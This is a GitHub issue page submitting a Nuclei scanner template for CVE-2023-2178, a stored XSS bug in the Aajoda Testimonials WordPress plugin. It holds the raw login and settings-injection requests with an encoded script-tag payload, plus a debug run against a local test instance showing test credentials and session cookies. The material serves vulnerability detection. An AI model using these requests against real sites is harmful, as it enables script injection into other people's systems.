[nuclei-template] #7750
Assignees
Labels
Done
Ready to merge
good first issue
Good for newcomers
nuclei-template
Nuclei template contribution
Comments
|
when you approve this template? |
2 tasks
|
Hi @muhamedfarish , thank you so much for sharing this template with the community and contributing to this project 🍻 You can join our discord server. It's a great place to connect with fellow contributors and stay updated with the latest developments. Thank you once again |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Template Information:
CVE-2023-2178
Aajoda Testimonials < 2.2.2 - Admin+ Stored XSS
Description:The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
Reference: https://wpscan.com/vulnerability/e84b71f9-4208-4efb-90e8-1c778e7d2ebb
Nuclei Template:
`id: CVE-2023-2178
info:
name: Aajoda Testimonials < 2.2.2 - Admin+ Stored XSS
author: Farish
severity: Medium
description: |
The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
reference:
- https://wpscan.com/vulnerability/e84b71f9-4208-4efb-90e8-1c778e7d2ebb
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
cvss-score: 4.8
cwe-id: CWE-79
metadata:
max-request: 2
verified: true
tags: wpscan,cwe-79,stored xss,wordpress,CVE-2023-2178
http:
raw:
|
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
POST /wp-admin/options-general.php?page=aajoda-testimonials HTTP/1.1
Host: {{Hostname}}
aajodatestimonials_opt_hidden=Y&aajoda_version=2.0&aajodatestimonials_code=%22%3E%3C%2Ftextarea%3E%3Cscript%3Ealert%28%2Ftemplate+by+farish%2F%29%3C%2Fscript%3E%0D%0A%0D%0A%0D%0A&Submit=Save
cookie-reuse: true
matchers:
dsl:
condition: and
`
Debug result:
POST /wp-login.php HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 40
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=admin&pwd=admin@123&wp-submit=Log+In
[DBG] [CVE-2023-2178] Dumped HTTP response http://localhost:8080/wp-login.php
HTTP/1.1 302 Found
Connection: close
Content-Length: 0
Cache-Control: no-cache, must-revalidate, max-age=0
Content-Type: text/html; charset=UTF-8
Date: Mon, 24 Jul 2023 08:08:48 GMT
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Location: http://localhost:8080/wp-admin/
Pragma: no-cache
Server: Apache/2.4.56 (Debian)
Set-Cookie: PHPSESSID=f3e5187bd6faf7ec1b01386487f5e308; path=/
Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/
Set-Cookie: wordpress_37d007a56d816107ce5b52c10342db37=admin%7C1690358929%7CnOLqkIcK41Z4ce2fJ8RRVgdnquYJtAo3LRmuR0Rv6Lx%7Ccee2c44af0f4f9c3db2abeebdfb2734f07416c231ca99c8437098e71c8d3e722; path=/wp-content/plugins; HttpOnly
Set-Cookie: wordpress_37d007a56d816107ce5b52c10342db37=admin%7C1690358929%7CnOLqkIcK41Z4ce2fJ8RRVgdnquYJtAo3LRmuR0Rv6Lx%7Ccee2c44af0f4f9c3db2abeebdfb2734f07416c231ca99c8437098e71c8d3e722; path=/wp-admin; HttpOnly
Set-Cookie: wordpress_logged_in_37d007a56d816107ce5b52c10342db37=admin%7C1690358929%7CnOLqkIcK41Z4ce2fJ8RRVgdnquYJtAo3LRmuR0Rv6Lx%7C0d16602903b5aa8f7671467f5981a4c74cb367edadf9b2fda02cebdf87f2de43; path=/; HttpOnly
X-Frame-Options: SAMEORIGIN
X-Powered-By: PHP/8.0.29
X-Redirect-By: WordPress
[INF] [CVE-2023-2178] Dumped HTTP request for http://localhost:8080/wp-admin/options-general.php?page=aajoda-testimonials
POST /wp-admin/options-general.php?page=aajoda-testimonials HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 192
Cookie: wordpress_37d007a56d816107ce5b52c10342db37=admin%7C1690358929%7CnOLqkIcK41Z4ce2fJ8RRVgdnquYJtAo3LRmuR0Rv6Lx%7Ccee2c44af0f4f9c3db2abeebdfb2734f07416c231ca99c8437098e71c8d3e722; PHPSESSID=f3e5187bd6faf7ec1b01386487f5e308; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=admin%7C1690358929%7CnOLqkIcK41Z4ce2fJ8RRVgdnquYJtAo3LRmuR0Rv6Lx%7C0d16602903b5aa8f7671467f5981a4c74cb367edadf9b2fda02cebdf87f2de43
Accept-Encoding: gzip
aajodatestimonials_opt_hidden=Y&aajoda_version=2.0&aajodatestimonials_code=%22%3E%3C%2Ftextarea%3E%3Cscript%3Ealert%28%2Ftemplate+by+farish%2F%29%3C%2Fscript%3E%0D%0A%0D%0A%0D%0A&Submit=Save
[DBG] [CVE-2023-2178] Dumped HTTP response http://localhost:8080/wp-admin/options-general.php?page=aajoda-testimonials
HTTP/1.1 200 OK
<title> ‹ admin — WordPress</title> <script type="text/javascript"> addLoadEvent = function(func){if(typeof jQuery!=='undefined')jQuery(function(){func();});else if(typeof wpOnload!=='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}}; var ajaxurl = '/wp-admin/admin-ajax.php', pagenow = 'toplevel_page_aajoda-testimonials', typenow = '', adminpage = 'toplevel_page_aajoda-testimonials', thousandsSeparator = ',', decimalPoint = '.', isRtl = 0; </script> <style> img.wp-smiley, img.emoji { display: inline !important; border: none !important; box-shadow: none !important; height: 1em !important; width: 1em !important; margin: 0 0.07em !important; vertical-align: -0.1em !important; background: none !important; padding: 0 !important; } </style> <style type="text/css">div.rn-alert{padding:15px 35px 15px 15px;margin-bottom:20px;border:1px solid transparent;-webkit-box-shadow:none;box-shadow:none}div.rn-alert p:empty{display:none}div.rn-alert ol,div.rn-alert ol li,div.rn-alert ul,div.rn-alert ul li{list-style:inherit!important}div.rn-alert ol,div.rn-alert ul{padding-left:30px}div.rn-alert hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0;margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee}div.rn-alert h1,h2,h3,h4,h5,h6{margin-top:0;color:inherit}div.rn-alert a{font-weight:700}div.rn-alert a:hover{text-decoration:underline}div.rn-alert>p{margin:0;padding:0;line-height:1}div.rn-alert>p,div.rn-alert>ul{margin-bottom:0}div.rn-alert>p+p{margin-top:5px}div.rn-alert .rn-dismiss-btn{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;position:relative;top:-2px;right:-21px;padding:0;cursor:pointer;background:0;border:0;-webkit-appearance:none;float:right;font-size:21px;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;opacity:.2;filter:alpha(opacity=20);text-decoration:none}div.rn-alert-success{background-color:#dff0d8;border-color:#d6e9c6;color:#3c763d}div.rn-alert-success hr{border-top-color:#c9e2b3}div.rn-alert-success a{color:#2b542c}div.rn-alert-info{background-color:#d9edf7;border-color:#bce8f1;color:#31708f}div.rn-alert-info hr{border-top-color:#a6e1ec}div.rn-alert-info a{color:#245269}div.rn-alert-warning{background-color:#fcf8e3;border-color:#faebcc;color:#8a6d3b}div.rn-alert-warning hr{border-top-color:#f7e1b5}div.rn-alert-warning a{color:#66512c}div.rn-alert-danger{background-color:#f2dede;border-color:#ebccd1;color:#a94442}div.rn-alert-danger hr{border-top-color:#e4b9c0}div.rn-alert-danger a{color:#843534}</style> <script> window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/svg\/","svgExt":".svg","source":{"concatemoji":"http:\/\/localhost:8080\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.2.2"}}; /*! This file is auto-generated */ !function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){p.clearRect(0,0,i.width,i.height),p.fillText(e,0,0);e=i.toDataURL();return p.clearRect(0,0,i.width,i.height),p.fillText(t,0,0),e===i.toDataURL()}function c(e){var t=a.createElement("script");t.src=e,t.defer=t.type="text/javascript",a.getElementsByTagName("head")[0].appendChild(t)}for(o=Array("flag","emoji"),t.supports={everything:!0,everythingExceptFlag:!0},r=0;r <script> /* */ </script> <script src='http://localhost:8080/wp-admin/load-scripts.php?c=1&load%5Bchunk_0%5D=jquery-core,jquery-migrate,utils,wp-polyfill-inert,regenerator-runtime,wp-polyfill,wp-hooks&ver=6.2.2'></script> <script src='http://localhost:8080/wp-includes/js/dist/i18n.min.js?ver=9e794f35a71bb98672ae' id='wp-i18n-js'></script> <script id='wp-i18n-js-after'> wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } ); </script> <script id='wpas-admin-wizard-script-js-extra'> var WPAS_Wizard = {"ajax_url":"http:\/\/localhost:8080\/wp-admin\/admin-ajax.php","about_page":"http:\/\/localhost:8080\/wp-admin\/edit.php?post_type=ticket&page=wpas-about"}; </script> <script src='http://localhost:8080/wp-content/plugins/awesome-support/assets/admin/js/admin-wizard.js?ver=6.0.10' id='wpas-admin-wizard-script-js'></script> <script id='wpas-admin-print-ticket-js-extra'> var WPAS_Print = {"admin_url":"http:\/\/localhost:8080\/wp-admin\/","plugin_url":"http:\/\/localhost:8080\/wp-content\/plugins\/awesome-support\/","nonce":"bfb6a63617","print":"Print","cancel":"Cancel","print_ticket":"Print ticket","print_tickets":"Print tickets","include_replies":"Include replies","include_history":"Include history","include_private_notes":"Include private notes"}; </script> <script src='http://localhost:8080/wp-content/plugins/awesome-support/assets/admin/js/admin-print-ticket.js?ver=6.0.10' id='wpas-admin-print-ticket-js'></script> <script id='wpas-gdpr-admin-script-js-extra'> var WPAS_GDPR = {"ajax_url":"http:\/\/localhost:8080\/wp-admin\/admin-ajax.php","nonce":"4400f91509"}; </script> <script src='http://localhost:8080/wp-content/plugins/awesome-support/assets/admin/js/admin-gdpr.js?ver=6.0.10' id='wpas-gdpr-admin-script-js'></script> <script src='http://localhost:8080/wp-includes/js/jquery/ui/core.min.js?ver=1.13.2' id='jquery-ui-core-js'></script> <script src='http://localhost:8080/wp-includes/js/jquery/ui/mouse.min.js?ver=1.13.2' id='jquery-ui-mouse-js'></script> <script src='http://localhost:8080/wp-includes/js/jquery/ui/slider.min.js?ver=1.13.2' id='jquery-ui-slider-js'></script> <script src='http://localhost:8080/wp-includes/js/jquery/ui/draggable.min.js?ver=1.13.2' id='jquery-ui-draggable-js'></script> <script src='http://localhost:8080/wp-includes/js/jquery/jquery.ui.touch-punch.js?ver=0.2.2' id='jquery-touch-punch-js'></script> <script src='http://localhost:8080/wp-admin/js/iris.min.js?ver=1.1.1' id='iris-js'></script> <script id='wp-color-picker-js-extra'> var wpColorPickerL10n = {"clear":"Clear","clearAriaLabel":"Clear color","defaultString":"Default","defaultAriaLabel":"Select default color","pick":"Select Color","defaultLabel":"Color value"}; </script> <script src='http://localhost:8080/wp-admin/js/color-picker.min.js?ver=6.2.2' id='wp-color-picker-js'></script> <script src='http://localhost:8080/wp-content/plugins/awesome-support/vendor/gambitph/titan-framework/js/min/wp-color-picker-alpha-min.js?ver=1.12.1' id='wp-color-picker-alpha-js'></script> <style>#wpadminbar #wp-admin-bar-wpas_tickets .ab-icon:before { content: '\f468'; top: 2px; }</style> <script>Connection: close
Cache-Control: no-cache, must-revalidate, max-age=0
Content-Type: text/html; charset=UTF-8
Date: Mon, 24 Jul 2023 08:08:49 GMT
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Pragma: no-cache
Referrer-Policy: strict-origin-when-cross-origin
Server: Apache/2.4.56 (Debian)
Set-Cookie: wp-settings-1=libraryContent%3Dbrowse; expires=Tue, 23-Jul-2024 08:08:49 GMT; Max-Age=31536000; path=/
Set-Cookie: wp-settings-time-1=1690186129; expires=Tue, 23-Jul-2024 08:08:49 GMT; Max-Age=31536000; path=/
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
X-Powered-By: PHP/8.0.29
Aajoda Testimonials Options
Version 6.2.2
The text was updated successfully, but these errors were encountered: